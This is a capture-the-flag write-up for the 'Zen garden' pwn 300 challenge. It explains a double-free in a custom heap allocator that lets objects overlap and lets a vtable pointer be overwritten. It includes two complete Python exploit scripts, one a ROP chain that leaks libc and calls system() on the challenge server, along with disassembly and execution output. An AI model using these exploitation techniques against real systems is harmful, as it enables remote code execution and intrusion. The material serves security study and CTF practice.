FR EN

Zen garden - pwn 300

<< Risc_emu - pwn 100

The zengarden is an x86 executable, from some mixed C/C++ code. Its libc was provided. As with any basic zen garden, one can add trees and ponds:

wow,                  _______ _ __   
     welcome    your |_  / _ \ '_ \ 
             to       / /  __/ | | |
                     /___\___|_| |_| garden

[a]dd, [d]elete, [p]erform or [q]uit?
a
[p]ond, [r]ake, [s]ign, [t]ree, p[e]rson?
t
which slot, 0-4?
0
[a]dd, [d]elete, [p]erform or [q]uit?
p
which slot, 0-4?
0
the tree sways gently in the wind, it makes a noise ?%??hP so zen
[a]dd, [d]elete, [p]erform or [q]uit?
a
[p]ond, [r]ake, [s]ign, [t]ree, p[e]rson?
p
which slot, 0-4?
1
[a]dd, [d]elete, [p]erform or [q]uit?
p
which slot, 0-4?
1
you gaze into the pond and see reflection of 0x9e60008
[a]dd, [d]elete, [p]erform or [q]uit?
q

"Add" allocates C++ objects, and "perform" calls the first method of each object. Once an object is deleted its slot cannot be refilled, and its actions cannot be performed. As shown above, the pond's action discloses the address of its object, providing us with a free leak.

The vulnerability lies in the custom heap allocation scheme used for those zen objects in the addObject action:

	
int __cdecl bkmalloc(int len) {
  int aligned_len; // [sp+18h] [bp-10h]@1
  chunk *v3; // [sp+1Ch] [bp-Ch]@1

  aligned_len = (len + 15) & 0xFFFFFFF8;
  v3 = find_fit((len + 15) & 0xFFFFFFF8);
  if ( v3 )  {
    --v3->unused;
  }  else  {
    v3 = (chunk *)sbrk(aligned_len);
    v3->length = aligned_len;
    v3->unused = 0;
  }
  return (int)&v3->data;
}

chunk *__cdecl find_fit(unsigned int len) {
  chunk *result; // eax@2
  chunk *i; // [sp+1Ch] [bp-Ch]@3

  if ( base ) {
    for ( i = base; sbrk(0) > i; i = (chunk *)((char *)i + 8 * i->length) ) {
      if ( i->unused && i->length >= len )
        return i;
    }
    result = 0;
  } else {
    base = (chunk *)sbrk(0);
    result = 0;
  }
  return result;
}

Meanwhile, bkfree() called by deleteObject() simply does chunk->free++, even if the chunk is already unused. DeleteObject() does not check whether the object as been deleted already (wheareas perform does). This means we can have multiple objects sitting in the same chunk if we follow this exploitation path:

  • 1. create the largest object: gets allocated by sbrk.
  • 2. delete it: the chunk becomes unused.
  • 3. create a new object. As the first one was larger, the new object gets allocated within the first chunk.
  • 4. delete the first object: the new object is still available in the objects list, but its chunk is marked as free.
  • 5. create a new object. As the first one was larger, the new object gets allocated within the first chunk.
  • 6. The two last objects are accessible and still live in the same chunk, which means the third one may overwrite the second's data.

The largest object is rake, and the sign object is just a getline() of arbitrary data, so we can overwrite the vtable pointer of any other objects residing at the same address. Using the address leak of pond, we can pretty easily control EIP:

#!/usr/bin/python

import socket
import select
import struct
import re

HOST = "localhost"
PORT = 4766


GAZE_RE = re.compile("you gaze into the pond and see reflection of 0x([0-9a-f]+)")

def recv_timeout(s):
 txt = ""
 while 1:
  sel = select.select([s], [], [], 0.5)
  if len(sel[0]) == 0:
   break
  c = s.recv(1)
  if len(c) == 0:
   break
  txt += c
 return txt

s = socket.socket()
s.connect((HOST, PORT))

# add rake in slot 1
s.sendall("a\nr\n1\n")
# delete rake
s.sendall("d\n1\n")
# add pond in slot 0
s.sendall("a\np\n0\n")
recv_timeout(s)
# perform pond to get chunk address
s.sendall("p\n0\n")
rx = GAZE_RE.search(recv_timeout(s))
if rx != None:
 BASE = int(rx.group(1), 16)
print hex(BASE)
# delete rake again to free chunk
s.sendall("d\n1\n")

payload = struct.pack("<I", BASE+4) + struct.pack("<I", 0xdeadbeef)
payload += 'A'*(0x313-len(payload))

#create sign (slot 2), overwriting function pointer
s.sendall("a\ns\n2\n" + payload  + "\n")
recv_timeout(s)
#execute slot 0 (overwritten pond)
s.sendall("p\n0\n")
Checking with the application's core:
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb) i r
eax            0xdeadbeef	-559038737
ecx            0xffb31ec0	-5038400
edx            0x84c9008	139235336
ebx            0x26	38
esp            0xffb31fdc	0xffb31fdc
ebp            0xffb32018	0xffb32018
esi            0x0	0
edi            0x0	0
eip            0xdeadbeef	0xdeadbeef
eflags         0x10297	[ CF PF AF SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
(gdb) x/10xw $esp
0xffb31fdc:	0x08049650	0x084c9008	0xffb31ff0	0xf754b3c1
0xffb31fec:	0x08049f82	0x00000001	0xffb320f8	0x00000026
0xffb31ffc:	0x00000000	0x02b32030

While we have an easy EIP control, there isn't anything really interesting on the stack and within registers to pivot the stack. edx and *esp+4 point to our chunk, starting with our fake vtable and function pointer, so we would need a very lucky ret chunk to get stack control in one chunk.

To get stack control, I used the simplePrint function, that performs a sprintf to a stack buffer at 0x08049210:

.text:080491FF ; int __cdecl simplePrint(char *format)
.text:080491FF                 public _Z11simplePrintPc
.text:080491FF _Z11simplePrintPc proc near             
.text:080491FF                                         
.text:080491FF
.text:080491FF s               = byte ptr -0D4h
.text:080491FF var_C           = dword ptr -0Ch
.text:080491FF format          = dword ptr  8
.text:080491FF
.text:080491FF                 push    ebp
.text:08049200                 mov     ebp, esp
.text:08049202                 push    ebx
.text:08049203                 sub     esp, 0E4h
.text:08049209                 mov     eax, [ebp+format]
.text:0804920C                 mov     [esp+4], eax    ; format
.text:08049210                 lea     eax, [ebp+s]
.text:08049216                 mov     [esp], eax      ; s
.text:08049219                 call    _sprintf
.text:0804921E                 mov     [ebp+var_C], eax
.text:08049221                 mov     ebx, [ebp+var_C]
.text:08049224                 mov     eax, ds:stdout@@GLIBC_2_0
.text:08049229                 mov     [esp], eax      ; stream
.text:0804922C                 call    _fileno
.text:08049231                 mov     [esp+8], ebx    ; int
.text:08049235                 lea     edx, [ebp+s]
.text:0804923B                 mov     [esp+4], edx    ; int
.text:0804923F                 mov     [esp], eax      ; fd
.text:08049242                 call    ctf_send
.text:08049247                 jmp     short loc_8049251
.text:08049249 ; ---------------------------------------------------------------------------
.text:08049249                 mov     [esp], eax
.text:0804924C                 call    __Unwind_Resume
.text:08049251 ; ---------------------------------------------------------------------------
.text:08049251
.text:08049251 loc_8049251:                 
.text:08049251                 add     esp, 0E4h
.text:08049257                 pop     ebx
.text:08049258                 pop     ebp
.text:08049259                 retn

As we control *esp+4, pointing to our sign's content, this overwrites the stack with arbitrary data. Having the remote libc, it's now just a matter of roping to system() by first disclosing a GOT address to get the actual system()'s libc address. To avoid the pain of forging two separate rop stacks (one for before the GOT disclosure, one for the system() call), I used a little trick consisting in performing a read within a GOT address and then calling the associated PLT to call an arbitrary adress read from stdin:

#!/usr/bin/python

import socket
import select
import struct
import re

HOST = "54.218.22.41"
PORT = 4766
CMD = "id ; ls -al ; cat key"


GAZE_RE = re.compile("you gaze into the pond and see reflection of 0x([0-9a-f]+)")

def recv_timeout(s):
 txt = ""
 while 1:
  sel = select.select([s], [], [], 0.5)
  if len(sel[0]) == 0:
   break
  c = s.recv(1)
  if len(c) == 0:
   break
  txt += c
 return txt

s = socket.socket()
s.connect((HOST, PORT))

s.sendall("a\nr\n1\n")
# delete rake twice now as same effects
s.sendall("d\n1\nd\n1\n")
s.sendall("a\np\n0\n")
recv_timeout(s)
s.sendall("p\n0\n")
rx = GAZE_RE.search(recv_timeout(s))
if rx != None:
 BASE = int(rx.group(1), 16)
print hex(BASE)

payload = struct.pack("<I", BASE+4) + struct.pack("<I", 0x08049210)
payload += 'A'*108

lsm_got = 0x804bbbc
simpleprint = 0x80491ff 
bss_buf = 0x0804bc40 
gets_plt = 0x8048bb0
system_offset = 0x0003f250
lsm_offset = 0x000193c0
popret = 0x804a088
lsm_plt = 0x08048be0

# ROP
# - gets CMD into bss
# - use simpleprint to disclose a GOT address
# - gets into a GOT address (will contain the calculated address of system())
# - call the associated PLT with the arbitrary bss string as argument
rop = [ gets_plt, popret, bss_buf, simpleprint, popret, lsm_got, gets_plt, lsm_plt, lsm_got, bss_buf]

payload += "".join([struct.pack("<I", x) for x in rop])
payload += 'B'*(0x313-len(payload))

s.sendall("a\ns\n2\n" + payload  + "\n")
recv_timeout(s)
s.sendall("p\n0\n")
recv_timeout(s)
s.sendall(CMD + "\n")
lsm_libc = struct.unpack("<I", recv_timeout(s)[0:4])[0]
print hex(lsm_libc)
libc_base = lsm_libc - lsm_offset
system_libc = libc_base + system_offset
s.sendall(struct.pack("<I", system_libc) + "\n")
print recv_timeout(s)

Execution sample:

$ ./pwn300.py
0x8b31008
0xf74323c0
uid=1001(zengarden) gid=1001(zengarden) groups=1001(zengarden)
total 32
drwxr-xr-x 2 root root  4096 Feb 28 21:18 .
drwxr-xr-x 3 root root  4096 Feb 28 21:08 ..
-rw-r--r-- 1 root root    63 Feb 28 21:18 key
-rwxr-xr-x 1 root root 17550 Feb 28 21:09 zengarden
flag{Knight turned the machine off and on. The machine worked}

Flagz (high five if like me you submitted the flag{} part): Knight turned the machine off and on. The machine worked. There was also another bug: the getline() used for the sign object takes as a parameter a buffer that isn't a valid malloced chunk. As a result, if getline() needs more bytes than the available space, it triggers a realloc() on an invalid chunk, with the chunk's size under our control (pointed to by chunk->unused that can be incremented at will). I actually spent much time trying to exploit that by forcing realloc to give back the same address, but couldn't get rid of a random crash within a subcall of realloc() so I don't know if we could do much more with it.

<< Risc_emu - pwn 100

2 messages

  1. FrizN 25/09/14 10:29

    Non désolé je n'ai pas de remède magique :)
    J'ai tendance à faire beaucoup à la main, et quand je fais le writeup j'en remets une couche pour la compréhension.

  2. Anonyme 03/09/14 18:05

    Mec je te suis depuis un baille et c'est toujours un plaisir de lire tes paperz, vraiment un gro GG.

    Juste une question, tu as toujours des sources C déssamblé vraiment propre, c'est toi qui retouche à la main pour avoir un truc propre pour ton blog, ou tu utilises un script/plugin IDA spécifique ?

    Au plaisir de te croisé en CTF